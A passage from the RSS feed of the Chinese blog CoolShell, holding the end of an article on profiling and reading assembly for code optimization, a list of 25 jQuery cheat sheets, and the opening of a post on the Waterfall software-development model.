style=\"padding-left: 30px;\"><code>CALL foo</code></p>\n<p>则是：</p>\n<p style=\"padding-left: 30px;\"><code>foo();</code></p>\n<p>细节因为CPU的种类而不同，但这就是其如何工作的。有时候，我们甚至都不需要细节，只需要看看汇编码的长啥样，然后和源代码比一比，你就可以知道汇编代码很多很多了。  那么，这又如何帮助代码优化？举个例子，我几年前认识一个程序员认为他应该去发现一个新的更快的算法。他有一个benchmark来证明这个算法，并且其写了一篇非常漂亮的文章关于他的这个算法。但是，有人看了一下其原来算法以及新算法的汇编，发现了他的改进版本的算法允许其编译器把两个除法操作变成了一个。这和算法真的没有什么关系。我们知道除法操作是一个很昂贵的操作，并且在其算法中，这俩个除法操作还在一个内嵌循环中，所以，他的改进版的算法当然要快一些。但，只需要在原来的算法上做一点点小的改动——使用一个除法操作，那么其原来的算法将会和新的一样快。而他的新发现什么也不是。  下一个例子，一个D用户张贴了一个 benchmark 来显示 dmd (Digital Mars D 编译器)在整型算法上的很糟糕，而ldc (LLVM D 编译器) 就好很多了。对于这样的结果，其相当的有意见。我迅速地看了一下汇编，发现两个编译器编译出来相当的一致，并没有什么明显的东西要对2：1这么大的不同而负责。但是我们看到有一个对long型整数的除法，这个除法调用了运行库。而这个库成为消耗时间的杀手，其它所有的加减法都没有速度上的影响。出乎意料地，benchmark 和算法代码生成一点关系也没有，完全就是long型整数的除法的问题。这暴露了在dmd的运行库中的long型除法的实现很差。修正后就可以提高速度。所以，这和编译器没有什么关系，但是如果不看汇编，你将无法发现这一切。  查看汇编代码经常会给你一些意想不到的东西让你知道为什么程序的性能是那样。一些意想不到的函数调用，预料不到的自傲，以及不应该存在的东西，等等其实所有的一切。但也不需要成为一个汇编代码的黑客才能干的事。</p>\n<h4>结论</h4>\n<p>如果你觉得需要程序有更好的执行速度，那么，最基本的方法就是使用一个profiler和愿意去查看一下其汇编代码以找到程序的瓶颈。只有找到了程序的瓶颈，此时才是真正在思考如何去改进的时候，比如思考一个更好的算法，使用更快的语言优化，等等。  常规的做法是制胜法宝是挑选一个最佳的算法而不是进行微优化。虽然这种做法是无可异议的，但是有两件事情是学校没有教给你而需要你重点注意的。第一个也是最重要的，如果你优化的算法没没有参与到你程序性能中的算法，那么你优化他只是在浪费时间和精力，并且还转移了你的注意力让你错过了应该要去优化的部分。第二点，算法的性能总和处理的数据密切相关的，就算是冒泡排序有那么多的笑柄，但是如果其处理的数据基本是排好序的，只有其中几个数据是未排序的，那么冒泡排序也是所有排序算法里性能最好的。所以，担心没有使用好的算法而不去测量，只会浪费时间，无论是你的还是计算机的。  就好像赛车零件的订购速底是不会让你更靠进冠军（就算是你正确安装零件也不会），没有Profiler，你不会知道问题在哪里，不去看汇编，你可能知道问题所在，但你往往不知道为什么。  (全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2967.html\">代码优化概要</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2967.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>64</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>25个jQuery的编程小抄</title>\n\t\t<link>https://coolshell.cn/articles/2964.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2964.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 19 Sep 2010 00:14:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2964</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站向大家介绍过“程序员小抄大全”，这里是25个jQuery的小抄（有一些在墙外），有的还可以设置成你的电脑桌面。这些东西可以让你很快速地记得一些常用的东西...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2964.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站向大家介绍过“<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1566.html\" target=\"_blank\">程序员小抄大全</a>”，这里是25个jQuery的小抄（有一些在墙外），有的还可以设置成你的电脑桌面。这些东西可以让你很快速地记得一些常用的东西，就好像软件的快捷键一样。希望它们对你会有帮助。</p>\n<h3><a href=\"http://colorcharge.com/jquery/\" target=\"_blank\">1. jQuery 1.2 Cheat-sheet</a> [PNG]</h3>\n<p><a href=\"http://colorcharge.com/jquery/\"><img decoding=\"async\" loading=\"lazy\" title=\"1\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/1.png\" alt=\"\" width=\"550\" height=\"377\" /></a></p>\n<p><span id=\"more-2964\"></span></p>\n<h3><a href=\"http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/\" target=\"_blank\">2. jQuery 1.2 Cheat Sheet v1.0</a> [PDF]</h3>\n<p><a href=\"http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/\"><img decoding=\"async\" loading=\"lazy\" title=\"2\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/2.png\" alt=\"\" width=\"550\" height=\"374\" /></a></p>\n<h3><a href=\"http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/\" target=\"_blank\">3. jQuery 1.3 Cheatsheet</a> [PDF]</h3>\n<p><a href=\"http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/\"><img decoding=\"async\" loading=\"lazy\" title=\"3\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/32.jpg\" alt=\"\" width=\"550\" height=\"636\" /></a></p>\n<h3><a href=\"http://api.jquery.com/\" target=\"_blank\">4. jQuery API Browser</a> [Adobe AIR, HTML]</h3>\n<p><a href=\"http://api.jquery.com/\"><img decoding=\"async\" loading=\"lazy\" title=\"4\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/42.jpg\" alt=\"\" width=\"550\" height=\"151\" /></a></p>\n<h3>5. <a href=\"http://n-bp.com/jquery_cheat_sheet/v11/\" target=\"_blank\">jQuery1.1 Cheat Sheet</a> [HTML]</h3>\n<p><a href=\"http://n-bp.com/jquery_cheat_sheet/v11/\"><img decoding=\"async\" loading=\"lazy\" title=\"5\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/52.jpg\" alt=\"\" width=\"550\" height=\"358\" /></a></p>\n<h3>6. <a href=\"http://jtouch.colorcharge.com/\" target=\"_blank\">jTouch – jQuery Cheat Sheet for iPhone</a> [HTML]</h3>\n<p><a href=\"http://jtouch.colorcharge.com/\"><img decoding=\"async\" loading=\"lazy\" title=\"6\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/62.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>7.<a href=\"http://www.futurecolors.ru/jquery/\" target=\"_blank\"> jQuery 1.4 API Cheat Sheet</a> [HTML, PDF, PNG]</h3>\n<p><a href=\"http://www.futurecolors.ru/jquery/\"><img decoding=\"async\" loading=\"lazy\" title=\"7\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/7.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>8. <a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\" target=\"_blank\">jQuery Selectors</a> [PDF]</h3>\n<p><a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\"><img decoding=\"async\" loading=\"lazy\" title=\"8\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/82.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>9.<a href=\"http://oscarotero.com/jquery/\" target=\"_blank\"> jQuery 1.3 Quick API Reference</a> [ HTML]</h3>\n<p><a href=\"http://oscarotero.com/jquery/\"><img decoding=\"async\" loading=\"lazy\" title=\"9\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/9.png\" alt=\"\" width=\"550\" height=\"343\" /></a></p>\n<h3>10.<a href=\"http://oscarotero.com/jquery/ui.html\"> </a><a href=\"http://oscarotero.com/jquery/ui.html\" target=\"_blank\">jQuery UI 1.7 Quick API Reference</a> [ HTML]</h3>\n<p><a href=\"http://oscarotero.com/jquery/ui.html\"><img decoding=\"async\" loading=\"lazy\" title=\"10\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/102.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>11. <a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\" target=\"_blank\">jQuery 1.3.2 Cheat Sheet</a> [Microsoft Excel (XLS), PDF, PNG]</h3>\n<p><a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\"><img decoding=\"async\" loading=\"lazy\" title=\"11\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/112.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>12. <a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\" target=\"_blank\">jQuery 1.1.3 Cheat Sheet</a> [Microsoft Excel (XLS), PDF, PNG]</h3>\n<p><a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\"><img decoding=\"async\" loading=\"lazy\" title=\"12\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/12.gif\" alt=\"\" width=\"550\" height=\"426\" /></a></p>\n<h3>13. <a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Visual Cheat Sheet</a> [PDF]</h3>\n<p><a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\"><img decoding=\"async\" loading=\"lazy\" title=\"13\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/13.jpg\" alt=\"\" width=\"550\" height=\"389\" /></a></p>\n<h3>14.<a href=\"http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/\" target=\"_blank\"> jQuery 1.4.2 Visual Cheat Sheet</a> [JPEG, PDF]</h3>\n<p><a href=\"http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/\"><img decoding=\"async\" loading=\"lazy\" title=\"14\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/14.jpg\" alt=\"\" width=\"550\" height=\"579\" /></a></p>\n<h3>15. <a href=\"http://remysharp.com/jquery-api/\" target=\"_blank\">jQuery API</a> [HTML]</h3>\n<p><a href=\"http://remysharp.com/jquery-api/\"><img decoding=\"async\" loading=\"lazy\" title=\"15\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/15.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>16. <a href=\"http://labs.impulsestudios.ca/jquery-cheat-sheet\" target=\"_blank\">jQuery 1.4 Cheat Sheet</a> [PDF]</h3>\n<p><a href=\"http://labs.impulsestudios.ca/jquery-cheat-sheet\"><img decoding=\"async\" loading=\"lazy\" title=\"16\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/16.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>17.<a href=\"http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html\" target=\"_blank\"> jQuery cheatsheet Wallpaper</a></h3>\n<p><a href=\"http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html\"><img decoding=\"async\" loading=\"lazy\" title=\"17\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/17.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>18. <a href=\"http://carlos.bueno.org/jq-yui.html\" target=\"_blank\">jQuery – YUI3 Rosetta Stone</a> [HTML]</h3>\n<p><a href=\"http://carlos.bueno.org/jq-yui.html\"><img decoding=\"async\" loading=\"lazy\" title=\"18\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/18.jpg\" alt=\"\" width=\"550\" height=\"247\" /></a></p>\n<h3>19. <a href=\"http://www.cheat-sheets.org/#jQuery\" target=\"_blank\">jQuery 1.2 by Adrien Gibrat</a> [PDF]</h3>\n<p><a href=\"http://www.cheat-sheets.org/#jQuery\"><img decoding=\"async\" loading=\"lazy\" title=\"19\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/19.jpg\" alt=\"\" width=\"550\" height=\"255\" /></a></p>\n<h3>20. <a href=\"http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Cheat Sheet</a></h3>\n<p><a href=\"http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html\"><img decoding=\"async\" loading=\"lazy\" title=\"20\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/20.jpg\" alt=\"\" width=\"550\" height=\"336\" /></a></p>\n<h3>21. <a href=\"http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/\" target=\"_blank\">jQuery 1.3 Cheatsheet Wallpaper </a>[1920×1200, 1680×1050 and 1440×900]</h3>\n<p><a href=\"http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/\"><img decoding=\"async\" loading=\"lazy\" title=\"21\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/211.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3><a href=\"http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf\" target=\"_blank\">22. jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti</a> [PDF]</h3>\n<p><a href=\"http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf\"><img decoding=\"async\" loading=\"lazy\" title=\"22\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/22.jpg\" alt=\"\" width=\"550\" height=\"378\" /></a></p>\n<h3><a href=\"http://codylindley.com/jqueryselectors/\" target=\"_blank\">23. jQuery Selectors Cheatsheet</a> [HTML]</h3>\n<p><a href=\"http://codylindley.com/jqueryselectors/\"><img decoding=\"async\" loading=\"lazy\" title=\"23\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/23.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3><a href=\"http://jn.orz.hm/jquery/ui_effect.html\" target=\"_blank\">24. jQuery UI – Effects Cheatsheet</a> [HTML]</h3>\n<p><a href=\"http://jn.orz.hm/jquery/ui_effect.html\"><img decoding=\"async\" loading=\"lazy\" title=\"24\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/24.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<h3>25. <a href=\"http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf\" target=\"_blank\">jQuery Validator Cheatsheet </a>– Elegant Code [PDF]</h3>\n<p><a href=\"http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf\"><img decoding=\"async\" loading=\"lazy\" title=\"25\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/25.jpg\" alt=\"\" width=\"550\" height=\"189\" /></a></p>\n<p>文章：<a href=\"http://technologytosoftware.com/most-useful-jquery-cheat-sheets.html\" target=\"_blank\">http://technologytosoftware.com/most-useful-jquery-cheat-sheets.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" alt=\"一些有意思的网站和贴子\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_title\">一些有意思的网站和贴子</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2964.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Waterfall 软件工程</title>\n\t\t<link>https://coolshell.cn/articles/2941.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2941.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 15 Sep 2010 00:42:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Waterfall]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2941</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>《Royce, Winston (1970), &#8220;Managing the Development of Large Software System...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2941.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2941.html\">Waterfall 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>《Royce, Winston (1970), <a rel=\"nofollow\" href=\"http://www.cs.umd.edu/class/spring2003/cmsc838p/Process/waterfall.pdf\" target=\"_blank\">&#8220;Managing the Development of Large Software Systems&#8221;</a>, <em>Proceedings of IEEE WESCON</em> <strong>26</strong> (August): 1–9. 》，这篇文章向你说明了软件工程鼻祖“Waterfall”的工程模型，这是40年前的论文，其中的十张插图很有强大，抽出来，让我们来看看什么叫Waterfall软件工程。</p>\n<p>首先，让我先看一下小的程序是怎么做的，呵呵，很简单，两步。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/01.Small_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2943\" title=\"01.Small\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/01.Small_.jpg\" alt=\"\" width=\"477\" height=\"199\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/01.Small_.jpg 477w, https://coolshell.cn/wp-content/uploads/2010/09/01.Small_-300x125.jpg 300w\" sizes=\"(max-width: 477px) 100vw, 477px\" /></a></p>\n<p>接下来，就是我们最经典的Waterfall软件工程模型了，用户需求，软件需求，需求分析，设计，编码，测试，运维。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2944\" title=\"02.Large\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg\" alt=\"\" width=\"628\" height=\"411\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg 628w, https://coolshell.cn/wp-content/uploads/2010/09/02.Large_-300x196.jpg 300w\" sizes=\"(max-width: 628px) 100vw, 628px\" /></a></p>\n<p><span id=\"more-2941\"></span>为了保证每个步骤都能正确实施，于是，每个步骤之间需要有一定的交互，这是我们所希望的样子。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg\"><br />\n</a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2945\" title=\"03.Iteraction\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction.jpg\" alt=\"\" width=\"635\" height=\"418\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction.jpg 635w, https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction-300x197.jpg 300w\" sizes=\"(max-width: 635px) 100vw, 635px\" /></a></p>\n<p>然后，不幸的是，我们总是在测试的时候发现了设计甚至需求的问题，因此，不得不让我们返工。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/04.Design.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2946\" title=\"04.Design\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/04.Design.jpg\" alt=\"\" width=\"651\" height=\"405\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/04.Design.jpg 651w, https://coolshell.cn/wp-content/uploads/2010/09/04.Design-300x186.jpg 300w\" sizes=\"(max-width: 651px) 100vw, 651px\" /></a></p>\n<p>为了解决上面的“返工”问题，我们可以使用下面的几步来解决。</p>\n<p>第一步，叫Preliminary Design，程序设计先行，确定在进入需求分析之前，我们的概要设计要完整。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2947\" title=\"05.01.Preliminary.Design\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg\" alt=\"\" width=\"555\" height=\"404\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg 555w, https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design-300x218.jpg 300w\" sizes=\"(max-width: 555px) 100vw, 555px\" /></a></p>\n<p>第二步，我们叫Document Design，书写设计文档，确认我们的设计是完整的。看到了吧，总共6个文档，1）软件需求，2）概要设计，3）接口设计，4）各种最终设计，5）测试设计/计划，6）测试结果。流程开始变得复杂了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2948\" title=\"05.02.Documentation\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation.jpg\" alt=\"\" width=\"703\" height=\"668\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation.jpg 703w, https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation-300x285.jpg 300w\" sizes=\"(max-width: 703px) 100vw, 703px\" /></a></p>\n<p>第三步，我们叫“Do it Twice”，双保险，把文档了的东西试着预先走一遍，看看能否成为最终产品。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2949\" title=\"05.03.Double.Work\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_.jpg\" alt=\"\" width=\"638\" height=\"475\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_.jpg 638w, https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_-300x223.jpg 300w\" sizes=\"(max-width: 638px) 100vw, 638px\" /></a></p>\n<p>第四步，计划，控制和监控测试。哇，流程很乱了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2950\" title=\"05.04.Test\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_.jpg\" alt=\"\" width=\"638\" height=\"361\" 